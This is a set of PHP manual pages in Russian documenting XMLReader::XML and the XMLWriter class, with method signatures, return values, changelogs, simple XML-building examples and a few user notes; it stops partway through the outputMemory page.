  • XMLReader::isValid() - Указывает, содержит ли анализируемый документ синтаксические ошибки

User Contributed Notes

There are no user contributed notes for this page.


Установить данные, содержащие XML для разбора

  • « XMLReader::setSchema
  • XMLWriter »
  • PHP Manual
  • XMLReader
  • Установить данные, содержащие XML для разбора

XMLReader::XML

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::XML — Установить данные, содержащие XML для разбора

Описание

public static XMLReader::XML(string $source, ?string $encoding = null, int $flags = 0): bool|XMLReader

Устанавливает данные, содержащие XML для разбора.

Список параметров

source

Строка, содержащая XML для разбора.

encoding

Кодировка документа или null.

flags

Битовая маска констант LIBXML_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка. в случае статического вызова либо возвращается XMLReader или false, если возникла ошибка.

Ошибки

Метод можно вызывать статически, но до PHP 8.0.0 в этом случае выдаётся ошибка E_DEPRECATED.

Список изменений

Версия | Описание
8.0.0 | XMLReader::XML() теперь объявлен как статический метод, но всё ещё может быть вызван в экземпляре XMLReader.

Смотрите также

  • XMLReader::open() - Установить URI, содержащий XML-документ для разбора
  • XMLReader::close() - Закрыть ввод XMLReader

User Contributed Notes

There are no user contributed notes for this page.


XMLWriter

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Создание простого XML-документа
    • Работа с пространствами имён XML
    • Работа с объектно-ориентированным API
  • XMLWriter — Класс XMLWriter
    • XMLWriter::endAttribute — Завершить атрибут
    • XMLWriter::endCdata — Завершить текущую секцию CDATA
    • XMLWriter::endComment — Завершить комментарий
    • XMLWriter::endDocument — Завершить текущий документ
    • XMLWriter::endDtd — Завершить текущий DTD
    • XMLWriter::endDtdAttlist — Завершить текущий список атрибутов DTD
    • XMLWriter::endDtdElement — Завершить текущий элемент DTD
    • XMLWriter::endDtdEntity — Завершить текущую запись DTD
    • XMLWriter::endElement — Завершить текущий элемент
    • XMLWriter::endPi — Завершить текущую инструкцию обработки (PI)
    • XMLWriter::flush — Сбросить текущий буфер
    • XMLWriter::fullEndElement — Завершить текущий элемент
    • XMLWriter::openMemory — Создать новый объект XMLWriter, используя память для строкового вывода
    • XMLWriter::openUri — Создать новый объект XMLWriter, используя исходный URI для вывода
    • XMLWriter::outputMemory — Возвращает текущий буфер
    • XMLWriter::setIndent — Включить или отключить отступы
    • XMLWriter::setIndentString — Установить строку, используемую для отступов
    • XMLWriter::startAttribute — Создать начальный атрибут
    • XMLWriter::startAttributeNs — Создать стартовый атрибут пространства имён
    • XMLWriter::startCdata — Создать начальный тег CDATA
    • XMLWriter::startComment — Создаёт стартовый комментарий
    • XMLWriter::startDocument — Создать тег документа
    • XMLWriter::startDtd — Создать стартовый DTD тег
    • XMLWriter::startDtdAttlist — Создаёт стартовый список атрибутов DTD
    • XMLWriter::startDtdElement — Создать стартовый элемент DTD
    • XMLWriter::startDtdEntity — Создать стартовую запись DTD
    • XMLWriter::startElement — Создать стартовый тег элемента
    • XMLWriter::startElementNs — Создать стартовый тег элемента пространства имён
    • XMLWriter::startPi — Создать стартовый тег PI
    • XMLWriter::text — Записать текст
    • XMLWriter::writeAttribute — Записать полный атрибут
    • XMLWriter::writeAttributeNs — Записать полный атрибут пространства имён
    • XMLWriter::writeCdata — Записать полный тег CDATA
    • XMLWriter::writeComment — Записать полный тег комментария
    • XMLWriter::writeDtd — Записать полный тег DTD
    • XMLWriter::writeDtdAttlist — Записать полный тег DTD AttList
    • XMLWriter::writeDtdElement — Записать полный тег элемента DTD
    • XMLWriter::writeDtdEntity — Записать полный тег DTD записи
    • XMLWriter::writeElement — Записать полный тег элемента
    • XMLWriter::writeElementNs — Записать полное пространство имён тега элемента
    • XMLWriter::writePi — Записать инструкцию обработки (PI)
    • XMLWriter::writeRaw — Записать необработанный XML-текст

User Contributed Notes

lingtalfi 08-Oct-2015 08:35
The single quote predefined entity is not escaped.
The other predefined entities are but not the single quote, so you will have to do it yourself.

That's what you would expect:

Ampersand     &     &amp;
Single Quote     '     &apos;
Double Quote     "     &quot;
Greater Than     >     &gt;
Less Than     <     &lt;

That's what you get with \XmlWriter:

Ampersand     &     &amp;
Single Quote     '     '
Double Quote     "     &quot;
Greater Than     >     &gt;
Less Than     <     &lt;
Alexey Zakhlestin 09-Jun-2008 03:47
important: XMLWriter expects UTF-8 data from you. It can output xml in various encodings, but input should be strictly utf-8!


Введение

XMLWriter является модулем PHP. Он создаёт xmlWriter API на основе библиотеки libxml.

Модуль представляет собой класс-писатель, который является некешируемым, однонаправленным средством генерирования потоков или файлов, содержащих данные XML.

Модуль может быть использован в объектно-ориентированном либо в процедурном стилях. Каждый документированный метод описывает альтернативные процедурные вызовы.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль XMLWriter поставляется вместе с исходным кодом PHP. Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-xmlwriter

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.0.0 процедурной версией модуля XMLWriter использовался один тип ресурса: возвращаемый xmlwriter_open_memory() или xmlwriter_open_uri().

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Создание простого XML-документа
  • Работа с пространствами имён XML
  • Работа с объектно-ориентированным API

User Contributed Notes

There are no user contributed notes for this page.


Создание простого XML-документа

Этот пример демонстрирует создание XML-документа в памяти с помощью XMLWriter.

Пример #1 Создание простого XML-документа

<?php

$xw = xmlwriter_open_memory();
xmlwriter_set_indent($xw, 1);
$res = xmlwriter_set_indent_string($xw, ' ');

xmlwriter_start_document($xw, '1.0', 'UTF-8');

// Первый элемент
xmlwriter_start_element($xw, 'tag1');

// Атрибут 'att1' для элемента 'tag1'
xmlwriter_start_attribute($xw, 'att1');
xmlwriter_text($xw, 'valueofatt1');
xmlwriter_end_attribute($xw);

xmlwriter_write_comment($xw, 'this is a comment.');

// Создаём дочерний элемент
xmlwriter_start_element($xw, 'tag11');
xmlwriter_text($xw, 'This is a sample text, a');
xmlwriter_end_element($xw); // tag11

xmlwriter_end_element($xw); // tag1

// CDATA
xmlwriter_start_element($xw, 'testc');
xmlwriter_write_cdata($xw, "This is cdata content");
xmlwriter_end_element($xw); // testc

xmlwriter_start_element($xw, 'testc');
xmlwriter_start_cdata($xw);
xmlwriter_text($xw, "test cdata2");
xmlwriter_end_cdata($xw);
xmlwriter_end_element($xw); // testc

// Инструкции по обработке
xmlwriter_start_pi($xw, 'php');
xmlwriter_text($xw, '$foo=2;echo $foo;');
xmlwriter_end_pi($xw);

xmlwriter_end_document($xw);

echo xmlwriter_output_memory($xw);

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="UTF-8"?>
<tag1 att1="valueofatt1">
 <!--this is a comment.-->
 <tag11>This is a sample text, a</tag11>
</tag1>
<testc><![CDATA[This is cdata content]]></testc>
<testc><![CDATA[test cdata2]]></testc>
<?php $foo=2;echo $foo;?>

User Contributed Notes

There are no user contributed notes for this page.


Работа с пространствами имён XML

В этом примере демонстрируется создание элементов в пространстве имён.

Пример #1 Работа с пространствами имён XML

<?php

$xw = xmlwriter_open_memory();
xmlwriter_set_indent($xw, 1);
$res = xmlwriter_set_indent_string($xw, ' ');

xmlwriter_start_document($xw, '1.0', 'UTF-8');
// Первый элемент
xmlwriter_start_element_ns($xw,'prefix', 'books', 'uri');
xmlwriter_start_attribute($xw, 'isbn');

xmlwriter_start_attribute_ns($xw, 'prefix', 'isbn', 'uri');
xmlwriter_end_attribute($xw);

xmlwriter_end_attribute($xw);

xmlwriter_text($xw, 'book1');
xmlwriter_end_element($xw);

xmlwriter_end_document($xw);

echo xmlwriter_output_memory($xw);

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="UTF-8"?>
<prefix:books isbn="" prefix:isbn="" xmlns:prefix="uri">book1</prefix:books>

User Contributed Notes

There are no user contributed notes for this page.


Работа с объектно-ориентированным API

В этом примере демонстрируется работа с объектно-ориентированным API XMLWriter.

Пример #1 Работа с объектно-ориентированным API

<?php

$xw = new XMLWriter();
$xw->openMemory();
$xw->startDocument("1.0");
$xw->startElement("book");
$xw->text("example");
$xw->endElement();
$xw->endDocument();
echo $xw->outputMemory();

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<book>example</book>

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLWriter

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

Введение

Обзор классов

class XMLWriter {
/* Методы */
public endAttribute(): bool
public endCdata(): bool
public endComment(): bool
public endDocument(): bool
public endDtd(): bool
public endDtdAttlist(): bool
public endDtdElement(): bool
public endDtdEntity(): bool
public endElement(): bool
public endPi(): bool
public flush(bool $empty = true): string|int
public fullEndElement(): bool
public openMemory(): bool
public openUri(string $uri): bool
public outputMemory(bool $flush = true): string
public setIndent(bool $enable): bool
public setIndentString(string $indentation): bool
public startAttribute(string $name): bool
public startAttributeNs(?string $prefix, string $name, ?string $namespace): bool
public startCdata(): bool
public startComment(): bool
public startDocument(?string $version = "1.0", ?string $encoding = null, ?string $standalone = null): bool
public startDtd(string $qualifiedName, ?string $publicId = null, ?string $systemId = null): bool
public startDtdAttlist(string $name): bool
public startDtdElement(string $qualifiedName): bool
public startDtdEntity(string $name, bool $isParam): bool
public startElement(string $name): bool
public startElementNs(?string $prefix, string $name, ?string $namespace): bool
public startPi(string $target): bool
public text(string $content): bool
public writeAttribute(string $name, string $value): bool
public writeAttributeNs(
?string $prefix,
string $name,
?string $namespace,
string $value
): bool
public writeCdata(string $content): bool
public writeComment(string $content): bool
public writeDtd(
string $name,
?string $publicId = null,
?string $systemId = null,
?string $content = null
): bool
public writeDtdAttlist(string $name, string $content): bool
public writeDtdElement(string $name, string $content): bool
public writeDtdEntity(
string $name,
string $content,
bool $isParam = false,
?string $publicId = null,
?string $systemId = null,
?string $notationData = null
): bool
public writeElement(string $name, ?string $content = null): bool
public writeElementNs(
?string $prefix,
string $name,
?string $namespace,
?string $content = null
): bool
public writePi(string $target, string $content): bool
public writeRaw(string $content): bool
}

Содержание

  • XMLWriter::endAttribute — Завершить атрибут
  • XMLWriter::endCdata — Завершить текущую секцию CDATA
  • XMLWriter::endComment — Завершить комментарий
  • XMLWriter::endDocument — Завершить текущий документ
  • XMLWriter::endDtd — Завершить текущий DTD
  • XMLWriter::endDtdAttlist — Завершить текущий список атрибутов DTD
  • XMLWriter::endDtdElement — Завершить текущий элемент DTD
  • XMLWriter::endDtdEntity — Завершить текущую запись DTD
  • XMLWriter::endElement — Завершить текущий элемент
  • XMLWriter::endPi — Завершить текущую инструкцию обработки (PI)
  • XMLWriter::flush — Сбросить текущий буфер
  • XMLWriter::fullEndElement — Завершить текущий элемент
  • XMLWriter::openMemory — Создать новый объект XMLWriter, используя память для строкового вывода
  • XMLWriter::openUri — Создать новый объект XMLWriter, используя исходный URI для вывода
  • XMLWriter::outputMemory — Возвращает текущий буфер
  • XMLWriter::setIndent — Включить или отключить отступы
  • XMLWriter::setIndentString — Установить строку, используемую для отступов
  • XMLWriter::startAttribute — Создать начальный атрибут
  • XMLWriter::startAttributeNs — Создать стартовый атрибут пространства имён
  • XMLWriter::startCdata — Создать начальный тег CDATA
  • XMLWriter::startComment — Создаёт стартовый комментарий
  • XMLWriter::startDocument — Создать тег документа
  • XMLWriter::startDtd — Создать стартовый DTD тег
  • XMLWriter::startDtdAttlist — Создаёт стартовый список атрибутов DTD
  • XMLWriter::startDtdElement — Создать стартовый элемент DTD
  • XMLWriter::startDtdEntity — Создать стартовую запись DTD
  • XMLWriter::startElement — Создать стартовый тег элемента
  • XMLWriter::startElementNs — Создать стартовый тег элемента пространства имён
  • XMLWriter::startPi — Создать стартовый тег PI
  • XMLWriter::text — Записать текст
  • XMLWriter::writeAttribute — Записать полный атрибут
  • XMLWriter::writeAttributeNs — Записать полный атрибут пространства имён
  • XMLWriter::writeCdata — Записать полный тег CDATA
  • XMLWriter::writeComment — Записать полный тег комментария
  • XMLWriter::writeDtd — Записать полный тег DTD
  • XMLWriter::writeDtdAttlist — Записать полный тег DTD AttList
  • XMLWriter::writeDtdElement — Записать полный тег элемента DTD
  • XMLWriter::writeDtdEntity — Записать полный тег DTD записи
  • XMLWriter::writeElement — Записать полный тег элемента
  • XMLWriter::writeElementNs — Записать полное пространство имён тега элемента
  • XMLWriter::writePi — Записать инструкцию обработки (PI)
  • XMLWriter::writeRaw — Записать необработанный XML-текст

User Contributed Notes

There are no user contributed notes for this page.


Завершить атрибут

  • « XMLWriter
  • XMLWriter::endCdata »
  • PHP Manual
  • XMLWriter
  • Завершить атрибут

XMLWriter::endAttribute

xmlwriter_end_attribute

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endAttribute -- xmlwriter_end_attribute — Завершить атрибут

Описание

Объектно-ориентированный стиль

public XMLWriter::endAttribute(): bool

Процедурный стиль

xmlwriter_end_attribute(XMLWriter $writer): bool

Завершает текущий атрибут.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startAttribute() - Создать начальный атрибут
  • XMLWriter::startAttributeNs() - Создать стартовый атрибут пространства имён
  • XMLWriter::writeAttribute() - Записать полный атрибут
  • XMLWriter::writeAttributeNs() - Записать полный атрибут пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущую секцию CDATA

  • « XMLWriter::endAttribute
  • XMLWriter::endComment »
  • PHP Manual
  • XMLWriter
  • Завершить текущую секцию CDATA

XMLWriter::endCdata

xmlwriter_end_cdata

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endCdata -- xmlwriter_end_cdata — Завершить текущую секцию CDATA

Описание

Объектно-ориентированный стиль

public XMLWriter::endCdata(): bool

Процедурный стиль

xmlwriter_end_cdata(XMLWriter $writer): bool

Завершает текущую секцию CDATA.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startCdata() - Создать начальный тег CDATA
  • XMLWriter::writeCdata() - Записать полный тег CDATA

User Contributed Notes

There are no user contributed notes for this page.


Завершить комментарий

  • « XMLWriter::endCdata
  • XMLWriter::endDocument »
  • PHP Manual
  • XMLWriter
  • Завершить комментарий

XMLWriter::endComment

xmlwriter_end_comment

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 1.0.0)

XMLWriter::endComment -- xmlwriter_end_comment — Завершить комментарий

Описание

Объектно-ориентированный стиль

public XMLWriter::endComment(): bool

Процедурный стиль

xmlwriter_end_comment(XMLWriter $writer): bool

Завершает текущий комментарий.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startComment() - Создаёт стартовый комментарий
  • XMLWriter::writeComment() - Записать полный тег комментария

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущий документ

  • « XMLWriter::endComment
  • XMLWriter::endDtd »
  • PHP Manual
  • XMLWriter
  • Завершить текущий документ

XMLWriter::endDocument

xmlwriter_end_document

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endDocument -- xmlwriter_end_document — Завершить текущий документ

Описание

Объектно-ориентированный стиль

public XMLWriter::endDocument(): bool

Процедурный стиль

xmlwriter_end_document(XMLWriter $writer): bool

Завершает текущий документ.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDocument() - Создать тег документа

User Contributed Notes

Sbastien 13-Mar-2022 09:44
XMLWriter::endDocument() closes properly all remaining elements not yet closed.

Without XMLWriter::endDocument() :

<?php
$xml = new XMLWriter();
$xml->openUri('php://stdout');
$xml->startDocument();
$xml->startElement('a');
$xml->startElement('b');
$xml->startElement('c');
$xml->startAttribute('foo');
exit;

/*
Outputs :
<?xml version="1.0"?>
<a><b><c foo="
*/
?>

With XMLWriter::endDocument() :

<?php
$xml = new XMLWriter();
$xml->openUri('php://stdout');
$xml->startDocument();
$xml->startElement('a');
$xml->startElement('b');
$xml->startElement('c');
$xml->startAttribute('foo');
$xml->endDocument();
exit;

/*
Outputs :
<?xml version="1.0"?>
<a><b><c foo=""/></b></a>
*/
?>


Завершить текущий DTD

  • « XMLWriter::endDocument
  • XMLWriter::endDtdAttlist »
  • PHP Manual
  • XMLWriter
  • Завершить текущий DTD

XMLWriter::endDtd

xmlwriter_end_dtd

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtd -- xmlwriter_end_dtd — Завершить текущий DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::endDtd(): bool

Процедурный стиль

xmlwriter_end_dtd(XMLWriter $writer): bool

Завершает секцию определения типа документа (DTD).

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtd() - Создать стартовый DTD тег
  • XMLWriter::writeDtd() - Записать полный тег DTD

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущий список атрибутов DTD

  • « XMLWriter::endDtd
  • XMLWriter::endDtdElement »
  • PHP Manual
  • XMLWriter
  • Завершить текущий список атрибутов DTD

XMLWriter::endDtdAttlist

xmlwriter_end_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdAttlist -- xmlwriter_end_dtd_attlist — Завершить текущий список атрибутов DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::endDtdAttlist(): bool

Процедурный стиль

xmlwriter_end_dtd_attlist(XMLWriter $writer): bool

Завершает текущий список атрибутов DTD для документа.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtdAttlist() - Создаёт стартовый список атрибутов DTD
  • XMLWriter::writeDtdAttlist() - Записать полный тег DTD AttList

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущий элемент DTD

  • « XMLWriter::endDtdAttlist
  • XMLWriter::endDtdEntity »
  • PHP Manual
  • XMLWriter
  • Завершить текущий элемент DTD

XMLWriter::endDtdElement

xmlwriter_end_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdElement -- xmlwriter_end_dtd_element — Завершить текущий элемент DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::endDtdElement(): bool

Процедурный стиль

xmlwriter_end_dtd_element(XMLWriter $writer): bool

Завершает текущий элемент DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtdElement() - Создать стартовый элемент DTD
  • XMLWriter::writeDtdElement() - Записать полный тег элемента DTD

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущую запись DTD

  • « XMLWriter::endDtdElement
  • XMLWriter::endElement »
  • PHP Manual
  • XMLWriter
  • Завершить текущую запись DTD

XMLWriter::endDtdEntity

xmlwriter_end_dtd_entity

(PHP 5 >= 5.2.1, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endDtdEntity -- xmlwriter_end_dtd_entity — Завершить текущую запись DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::endDtdEntity(): bool

Процедурный стиль

xmlwriter_end_dtd_entity(XMLWriter $writer): bool

Завершает текущую запись DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtdEntity() - Создать стартовую запись DTD
  • XMLWriter::writeDtdEntity() - Записать полный тег DTD записи

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущий элемент

  • « XMLWriter::endDtdEntity
  • XMLWriter::endPi »
  • PHP Manual
  • XMLWriter
  • Завершить текущий элемент

XMLWriter::endElement

xmlwriter_end_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endElement -- xmlwriter_end_element — Завершить текущий элемент

Описание

Объектно-ориентированный стиль

public XMLWriter::endElement(): bool

Процедурный стиль

xmlwriter_end_element(XMLWriter $writer): bool

Завершает текущий элемент.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startElement() - Создать стартовый тег элемента
  • XMLWriter::writeElement() - Записать полный тег элемента

User Contributed Notes

There are no user contributed notes for this page.


Завершить текущую инструкцию обработки (PI)

  • « XMLWriter::endElement
  • XMLWriter::flush »
  • PHP Manual
  • XMLWriter
  • Завершить текущую инструкцию обработки (PI)

XMLWriter::endPi

xmlwriter_end_pi

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::endPi -- xmlwriter_end_pi — Завершить текущую инструкцию обработки (PI)

Описание

Объектно-ориентированный стиль

public XMLWriter::endPi(): bool

Процедурный стиль

xmlwriter_end_pi(XMLWriter $writer): bool

Завершает текущую инструкцию обработки.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startPi() - Создать стартовый тег PI
  • XMLWriter::writePi() - Записать инструкцию обработки (PI)

User Contributed Notes

There are no user contributed notes for this page.


Сбросить текущий буфер

  • « XMLWriter::endPi
  • XMLWriter::fullEndElement »
  • PHP Manual
  • XMLWriter
  • Сбросить текущий буфер

XMLWriter::flush

xmlwriter_flush

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 1.0.0)

XMLWriter::flush -- xmlwriter_flush — Сбросить текущий буфер

Описание

Объектно-ориентированный стиль

public XMLWriter::flush(bool $empty = true): string|int

Процедурный стиль

xmlwriter_flush(XMLWriter $writer, bool $empty = true): string|int

Сбрасывает текущий буфер.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

empty

Определяет, освободить буфер или нет. По умолчанию true.

Возвращаемые значения

Если XML создаётся в памяти, то функция вернёт сгенерированный буфер XML, иначе, при использовании URI, эта функция запишет буфер и вернёт количество записанных байт.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).
8.0.0 | Функция больше не может возвращать false.

User Contributed Notes

Sbastien 13-Mar-2022 09:29
XMLWriter::flush() basic usage with XMLWriter::openMemory() :

<?php
$xml = new XMLWriter();
$xml->openMemory();
$xml->startDocument();
$xml->writeElement('message', 'Hello World!');
$xml->endDocument();
echo $xml->flush();

/*
Produces :

<?xml version="1.0"?>
<message>Hello World!</message>
*/
?>


Завершить текущий элемент

  • « XMLWriter::flush
  • XMLWriter::openMemory »
  • PHP Manual
  • XMLWriter
  • Завершить текущий элемент

XMLWriter::fullEndElement

xmlwriter_full_end_element

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL xmlwriter >= 2.0.4)

XMLWriter::fullEndElement -- xmlwriter_full_end_element — Завершить текущий элемент

Описание

Объектно-ориентированный стиль

public XMLWriter::fullEndElement(): bool

Процедурный стиль

xmlwriter_full_end_element(XMLWriter $writer): bool

Завершает текущий XML элемент. Записывает закрывающий тег, даже если элемент пустой.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endElement() - Завершить текущий элемент

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект XMLWriter, используя память для строкового вывода

  • « XMLWriter::fullEndElement
  • XMLWriter::openUri »
  • PHP Manual
  • XMLWriter
  • Создать новый объект XMLWriter, используя память для строкового вывода

XMLWriter::openMemory

xmlwriter_open_memory

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::openMemory -- xmlwriter_open_memory — Создать новый объект XMLWriter, используя память для строкового вывода

Описание

Объектно-ориентированный стиль

public XMLWriter::openMemory(): bool

Процедурный стиль

xmlwriter_open_memory(): XMLWriter|false

Создаёт новый объект XMLWriter, используя память для строкового вывода.

Список параметров

Возвращаемые значения

Объектно-ориентированный стиль: Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Процедурный стиль: Возвращает новый XMLWriter для дальнейшего использования функциями xmlwriter в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает экземпляр XMLWriter в случае успешного выполнения. Раньше в этом случае возвращался ресурс (resource).

Смотрите также

  • XMLWriter::openUri() - Создать новый объект XMLWriter, используя исходный URI для вывода

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект XMLWriter, используя исходный URI для вывода

  • « XMLWriter::openMemory
  • XMLWriter::outputMemory »
  • PHP Manual
  • XMLWriter
  • Создать новый объект XMLWriter, используя исходный URI для вывода

XMLWriter::openUri

xmlwriter_open_uri

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::openUri -- xmlwriter_open_uri — Создать новый объект XMLWriter, используя исходный URI для вывода

Описание

Объектно-ориентированный стиль

public XMLWriter::openUri(string $uri): bool

Процедурный стиль

xmlwriter_open_uri(string $uri): XMLWriter|false

Создаёт новый объект XMLWriter, используя uri для вывода.

Список параметров

uri

URI ресурса для вывода.

Возвращаемые значения

Объектно-ориентированный стиль: Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Процедурный стиль: Возвращает новый XMLWriter для дальнейшего использования функциями xmlwriter в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает экземпляр XMLWriter в случае успешного выполнения. Раньше в этом случае возвращался ресурс (resource).

Примеры

Пример #1 Прямой вывод XML

Можно напрямую выводить XML, используя обёртку потока php://output.

<?php
$out =new XMLWriter();
$out->openURI('php://output');
?>

Примечания

Замечание:

В Windows файлы, открытые с помощью этой функции, блокируются до тех пор, пока средство записи не будет освобождено.

Смотрите также

  • XMLWriter::openMemory() - Создать новый объект XMLWriter, используя память для строкового вывода

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий буфер

  • « XMLWriter::openUri
  • XMLWriter::setIndent »
  • PHP Manual
  • XMLWriter
  • Возвращает текущий буфер

XMLWriter::outputMemory

xmlwriter_output_memory

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::outputMemory -- xmlwriter_output_memory — Возвращает текущий буфер

Описание

Объектно-ориентированный стиль

public XMLWriter::outputMemory(bool $flush = true): string

Процедурный стиль

xmlwriter_output_memory(XMLWriter $writer, bool $flush = true): string

Возвращает текущий буфер.

Список параметров

writer

